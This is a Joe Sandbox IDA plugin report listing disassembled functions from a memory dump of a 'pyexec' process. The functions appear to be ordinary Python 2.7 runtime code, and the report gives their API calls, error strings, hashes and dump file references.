Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Unicode$Arg_EncodeEscapeFromObjectParseSizeTuple_
String ID: O|z:raw_unicode_escape_encode
API String ID: 3152522952-1418163826
Opcode ID: d06170f879c79b0c915e9e999dbdc2a81e0da3a428ed497fef40e0b5427f38cf
Instruction ID: e10feda1bf6432e43a2f8691c3f429782bf25eac736900a4edb9a0083c0aa90d
Opcode Fuzzy Hash: d06170f879c79b0c915e9e999dbdc2a81e0da3a428ed497fef40e0b5427f38cf
Instruction Fuzzy Hash: F811B175A04104ABCB00DBD6DC48E8B77F8DB85228F1442B4E80D87742E634EA06C7D1

Function 6C150910 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68COMMON

Download Yara Rule

Strings

float() argument must be a string or a number, xrefs: 6C150B0E

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID:
String ID: float() argument must be a string or a number
API String ID: 0-4039469532
Opcode ID: 2efbec6b733788a45304397a7033dbde1dd2f75dee6a79f8510dd88fab8e08c2
Instruction ID: 76aa7524c0e8c08e28c0868a8aeafe4a1aa5ee09ece4f17b8327242739dbb7c5
Opcode Fuzzy Hash: 2efbec6b733788a45304397a7033dbde1dd2f75dee6a79f8510dd88fab8e08c2
Instruction Fuzzy Hash: FD21D5B66053446BD700DEA5DC80B9BBBE8AB8921CF54492DF9A8D7740E730E614CB92

Function 6C16BFE0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

PyType_IsSubtype.PYTHON27(?,?,?,?,00000000,?,?,6C13FD81,?,?,?,?), ref: 6C16C006
PyType_IsSubtype.PYTHON27(?,?,?,?), ref: 6C16C018
PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\setobject.c,00000934,?,?,?,?), ref: 6C16C039

Strings

..\Objects\setobject.c, xrefs: 6C16C02E
%s:%d: bad argument to internal function, xrefs: 6C16C033

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: SubtypeType_$Err_Format
String ID: %s:%d: bad argument to internal function$..\Objects\setobject.c
API String ID: 1453002970-1012936799
Opcode ID: 02a3c18c2128a4a4874dc722a467ff98aa2da69be008a6a29f266867bbc47777
Instruction ID: 0f2e6919cc32f8c1d2a2a4864878e40f0c9443624ecb263de57d9382d446b7a5
Opcode Fuzzy Hash: 02a3c18c2128a4a4874dc722a467ff98aa2da69be008a6a29f266867bbc47777
Instruction Fuzzy Hash: 00110A7A6015085BCA009A5EEC4199BB398DB5523DF14C265FC1CD7F40E731FC25C6E5

Function 6C139FA0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 66COMMON

Download Yara Rule

APIs

PyDict_GetItem.PYTHON27(?,00000000,?,00000000,?,?,?,6C139C75,00000000,?,?), ref: 6C139FB5
PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\tupleobject.c,00000072), ref: 6C139FEF
PyTuple_GetItem.PYTHON27(?,00000000,?,?), ref: 6C13A01D

Strings

..\Objects\tupleobject.c, xrefs: 6C139FE4
%s:%d: bad argument to internal function, xrefs: 6C139FE9

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Item$Dict_Err_FormatTuple_
String ID: %s:%d: bad argument to internal function$..\Objects\tupleobject.c
API String ID: 1227451338-1285866127
Opcode ID: 8f69ebcfddd795136b1d9caefa1b77b7908fcebface59ce4e5da93c340a93f8e
Instruction ID: 00cecbbcdd1f4cd3c30a34144e70ef4a54cda98bb189978c4c13b4c1deb19faf
Opcode Fuzzy Hash: 8f69ebcfddd795136b1d9caefa1b77b7908fcebface59ce4e5da93c340a93f8e
Instruction Fuzzy Hash: 611190BA6042146FD710CF96EC8099BB7A8EB8526CF00C659FC6C87B80D735E8158BE1

Function 6C0A7DE0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

PyString_FromString.PYTHON27(a partial object's dictionary may not be deleted), ref: 6C0A7DFA
PyErr_SetObject.PYTHON27(6C2E48B0,00000000,a partial object's dictionary may not be deleted), ref: 6C0A7E03
PyErr_SetString.PYTHON27(6C2E48B0,setting partial object's dictionary to a non-dict), ref: 6C0A7E40

Strings

setting partial object's dictionary to a non-dict, xrefs: 6C0A7E3A
a partial object's dictionary may not be deleted, xrefs: 6C0A7DF5

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_String$FromObjectString_
String ID: a partial object's dictionary may not be deleted$setting partial object's dictionary to a non-dict
API String ID: 354487993-3418915442
Opcode ID: 4de06ecddef56e4ee703969a0975b21da20f711a57a39231b4e07e9c94837587
Instruction ID: 81da18a21280e344f561898390e7a1081e0f46df079f16a5228b20d6daea76b3
Opcode Fuzzy Hash: 4de06ecddef56e4ee703969a0975b21da20f711a57a39231b4e07e9c94837587
Instruction Fuzzy Hash: DC119136A016055BC614CAADA844A9637E8AB4A338B144395EC388B7D2E731EC5287D1

Function 6C0A1780 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

_PyArg_ParseTuple_SizeT.PYTHON27(?,S|z:escape_encode,?,?), ref: 6C0A179E
PyString_Repr.PYTHON27(?,00000000), ref: 6C0A17B8

Strings

S|z:escape_encode, xrefs: 6C0A1791

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Arg_ParseReprSizeString_Tuple_
String ID: S|z:escape_encode
API String ID: 591723016-2463164127
Opcode ID: ba13df1a9ebb2ff0a8148030fa81b1f279199384d2f432e8143afddc8c6c8ab1
Instruction ID: 89db76273877ab81ca733e877969f96ea32f7c09eaa1d05577f5d6c25102b564
Opcode Fuzzy Hash: ba13df1a9ebb2ff0a8148030fa81b1f279199384d2f432e8143afddc8c6c8ab1
Instruction Fuzzy Hash: 74119176A04009ABDB00CAE9AC45ADEB7BC9F45218F0842D6E808D7611F631EA1687A1

Function 6C145100 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 58COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\dictobject.c,0000036B), ref: 6C14512D
PyObject_Hash.PYTHON27(?), ref: 6C145153

Strings

..\Objects\dictobject.c, xrefs: 6C145122
%s:%d: bad argument to internal function, xrefs: 6C145127
h-l, xrefs: 6C145141

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_FormatHashObject_
String ID: %s:%d: bad argument to internal function$..\Objects\dictobject.c$h-l
API String ID: 896634218-636019801
Opcode ID: cb2db4b31261205f494ec71c5a49a3fb10fdceeb8960a789a0a66906b121a152
Instruction ID: 4498e08eb6435fb8f3e42e4370b01a211d05d311935e244b0842980c754f8e48
Opcode Fuzzy Hash: cb2db4b31261205f494ec71c5a49a3fb10fdceeb8960a789a0a66906b121a152
Instruction Fuzzy Hash: C0014932B0550857D2109A79AC40BAAB368DB56738F14C356FC3CC7FC0DB31E85286D2

Function 6C12D8D0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56COMMON

Download Yara Rule

Strings

int() argument must be a string or a number, not '%.200s', xrefs: 6C12DAA6

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID:
String ID: int() argument must be a string or a number, not '%.200s'
API String ID: 0-4148199198
Opcode ID: a22770a82a1430612bda78e911f8f6c13cfd3383ce0a713adb2b509797e4039c
Instruction ID: ad049883dcc0c4f6f158de22148269fb29d16e24336d69e7c279243337b5ac2d
Opcode Fuzzy Hash: a22770a82a1430612bda78e911f8f6c13cfd3383ce0a713adb2b509797e4039c
Instruction Fuzzy Hash: DA01D63AA056046BDB00EA55D940FEF33799F90A1CF24015CFC0657B00EB39E98AD6E1

Function 6C1466F0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 54COMMON

Download Yara Rule

APIs

PyDict_New.PYTHON27 ref: 6C14670B

Part of subcall function 6C144510: PyString_FromString.PYTHON27(<dummy key>,00000000,00000000,00000000,?,?,6C1650C0,?,00000014,?,6C1CDEB4), ref: 6C144529

PyDict_Merge.PYTHON27(00000000,?,00000001), ref: 6C14671A

Part of subcall function 6C146460: PyDict_GetItem.PYTHON27(00000000,?,?,?,?,?,?,6C146452,?,?,00000001), ref: 6C14650F

PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\dictobject.c,000006CD), ref: 6C14675C

Strings

..\Objects\dictobject.c, xrefs: 6C146751
%s:%d: bad argument to internal function, xrefs: 6C146756

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Dict_$Err_FormatFromItemMergeStringString_
String ID: %s:%d: bad argument to internal function$..\Objects\dictobject.c
API String ID: 3192880165-1541589624
Opcode ID: 0d39b27f324d547d7acf979c1dd3b752403ed88317fe3fa47bedea6a1dc5148c
Instruction ID: f41f30d318484bdc5deb9e32a303123416a8a06d8f9fccf3c727663ba9062ca6
Opcode Fuzzy Hash: 0d39b27f324d547d7acf979c1dd3b752403ed88317fe3fa47bedea6a1dc5148c
Instruction Fuzzy Hash: 1A012636B0161857C6209BA9AC01F9A7398CB95A3DF14836AEC2CC7A80EA11D822C6C1

Function 6C14A6E0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 51COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(6C2E48B0,%.200s attribute not set,object), ref: 6C14A6FD
PyErr_Format.PYTHON27(6C2E48B0,%.200s attribute must be str,object), ref: 6C14A726

Strings

%.200s attribute must be str, xrefs: 6C14A720
%.200s attribute not set, xrefs: 6C14A6F7
object, xrefs: 6C14A6F2, 6C14A71B

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_Format
String ID: %.200s attribute must be str$%.200s attribute not set$object
API String ID: 376477240-465120111
Opcode ID: 3d219fff60ac27ebf7b94ae4193c413d94a639a9a8ef9ab75a44260362339f0e
Instruction ID: 07da6361d3805aac438f67b25fa6c159193dcbb509091ca21f8e14adf182a7ab
Opcode Fuzzy Hash: 3d219fff60ac27ebf7b94ae4193c413d94a639a9a8ef9ab75a44260362339f0e
Instruction Fuzzy Hash: A1015E75A547099BC710CFA9D840A5673B8AF25739B1587A4F8288BB81D736E892CBC0

Function 6C165080 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

_PyObject_GC_Malloc.PYTHON27(0000000C,00000000,00000000,?,6C1C7421,00000014,?,6C1CDEB4), ref: 6C16508E
PyString_FromString.PYTHON27(?,00000014,?,6C1CDEB4), ref: 6C1650B1
PyDict_New.PYTHON27(?,00000014,?,6C1CDEB4), ref: 6C1650BB

Part of subcall function 6C144510: PyString_FromString.PYTHON27(<dummy key>,00000000,00000000,00000000,?,?,6C1650C0,?,00000014,?,6C1CDEB4), ref: 6C144529

PyDict_SetItemString.PYTHON27(00000000,__name__,00000000,?,00000014,?,6C1CDEB4), ref: 6C1650D2

Part of subcall function 6C147460: PyString_FromString.PYTHON27(00000000,?,?,6C1650D7,00000000,__name__,00000000,?,00000014,?,6C1CDEB4), ref: 6C147468

Strings

__name__, xrefs: 6C1650CC

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: String$FromString_$Dict_$ItemMallocObject_
String ID: __name__
API String ID: 2659566555-3954359393
Opcode ID: 4b2184078eabf2ece33bcc6e042cc4d87ce1c4439e6a025b7c73015f08d8781f
Instruction ID: 6451d145dc93b3b30845eb40319b8d95c190e170145777b26483edbc0bdec8d3
Opcode Fuzzy Hash: 4b2184078eabf2ece33bcc6e042cc4d87ce1c4439e6a025b7c73015f08d8781f
Instruction Fuzzy Hash: EA01D4B2D02A0257C3108A66EC09997B7A8AF52378F244324EC388BF81E734F961C7D1

Function 6C14A840 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 50COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(6C2E48B0,%.200s attribute not set,object), ref: 6C14A85D
PyErr_Format.PYTHON27(6C2E48B0,%.200s attribute must be str,object), ref: 6C14A886

Strings

%.200s attribute must be str, xrefs: 6C14A880
%.200s attribute not set, xrefs: 6C14A857
object, xrefs: 6C14A852, 6C14A87B

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_Format
String ID: %.200s attribute must be str$%.200s attribute not set$object
API String ID: 376477240-465120111
Opcode ID: 49ed28b199968f1b141f6da15b0092823ea8c7e303ac121908d10e8942fddaae
Instruction ID: 33b8a4521c742c0b4f65944666dea22efef3d92622e1cddb9ab71e4935f61970
Opcode Fuzzy Hash: 49ed28b199968f1b141f6da15b0092823ea8c7e303ac121908d10e8942fddaae
Instruction Fuzzy Hash: 9A014071A442069FC701CFA9D840A5577B4EF65329B158794F8288B791D736E8E7CB80

Function 6C12DE70 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

PyNumber_Index.PYTHON27(?), ref: 6C12DE7B

Part of subcall function 6C12D650: PyErr_SetString.PYTHON27(6C2E65C8,null argument to internal routine,?,?,6C12D72E,?,?,?,?,6C12B2E8,6C12EF3A,6C2E5B38), ref: 6C12D673

_PyLong_Format.PYTHON27(00000000,?,00000000,00000001), ref: 6C12DEA3

Strings

PyNumber_ToBase: index not int or long, xrefs: 6C12DECF

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_FormatIndexLong_Number_String
String ID: PyNumber_ToBase: index not int or long
API String ID: 2826168078-4256377746
Opcode ID: 679c6ae4cc19edd7e58b3d2ae743212f5971a1aa45de6c882b3babe99c6d5340
Instruction ID: 97c75ca20da4ce065f9ef09503906c791a53282bdfbf8427700ea35cd08ecb91
Opcode Fuzzy Hash: 679c6ae4cc19edd7e58b3d2ae743212f5971a1aa45de6c882b3babe99c6d5340
Instruction Fuzzy Hash: C901D6BA64020067D711EA55DC40FDB339D9FA4724F104524FA288B780D739E986C7E2

Function 6C0AA040 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49COMMON

Download Yara Rule

APIs

PyString_FromString.PYTHON27(profiler already active), ref: 6C0AA05C
PyErr_SetObject.PYTHON27(?,00000000,profiler already active), ref: 6C0AA065
PyErr_SetString.PYTHON27(?,profiler already closed), ref: 6C0AA09F

Strings

profiler already closed, xrefs: 6C0AA099
profiler already active, xrefs: 6C0AA057

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_String$FromObjectString_
String ID: profiler already active$profiler already closed
API String ID: 354487993-669324291
Opcode ID: f48c6dc561dc7367a987a4eac29cf0299da2a32e641cbf0abbae7ac3e168a8b7
Instruction ID: a28ec99ccf911c3a7637d7610e6f4370c4a8a8ef34da3faeb90d85197d373990
Opcode Fuzzy Hash: f48c6dc561dc7367a987a4eac29cf0299da2a32e641cbf0abbae7ac3e168a8b7
Instruction Fuzzy Hash: E2F0F937A125145BC6109599AC08FE673D8CB8933CF2407BADC2883BC1F66699168BD5

Function 6C13ED40 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 47COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(6C2E48B0,PyCObject_GetDesc with non-C-object), ref: 6C13ED6C
PyString_FromString.PYTHON27(PyCObject_GetDesc called with null pointer), ref: 6C13ED8B
PyErr_SetObject.PYTHON27(6C2E48B0,00000000,PyCObject_GetDesc called with null pointer), ref: 6C13ED94

Strings

PyCObject_GetDesc called with null pointer, xrefs: 6C13ED86
PyCObject_GetDesc with non-C-object, xrefs: 6C13ED66

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_String$FromObjectString_
String ID: PyCObject_GetDesc called with null pointer$PyCObject_GetDesc with non-C-object
API String ID: 354487993-3115127300
Opcode ID: e0bcf13cee0f832838a9694ff18703ac8a9a692e26d2ab647c21b1add481c42f
Instruction ID: 0f6a0ad63cf3e0aa0ea3a2b6bb14583168d95f9fb8b357d9f7c47a46791aecb7
Opcode Fuzzy Hash: e0bcf13cee0f832838a9694ff18703ac8a9a692e26d2ab647c21b1add481c42f
Instruction Fuzzy Hash: CD012632A102159BCA11DA69EC08ED673A8DF56338F140355EC2C87B80E731ED51C7D1

Function 6C144F20 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 47COMMON

Download Yara Rule

APIs

PyErr_Format.PYTHON27(6C2E65C8,%s:%d: bad argument to internal function,..\Objects\dictobject.c,000002FB,00000000,?,?,6C1C73E7,00000000,00000000,?,?,6C1CDEB4), ref: 6C144F4D
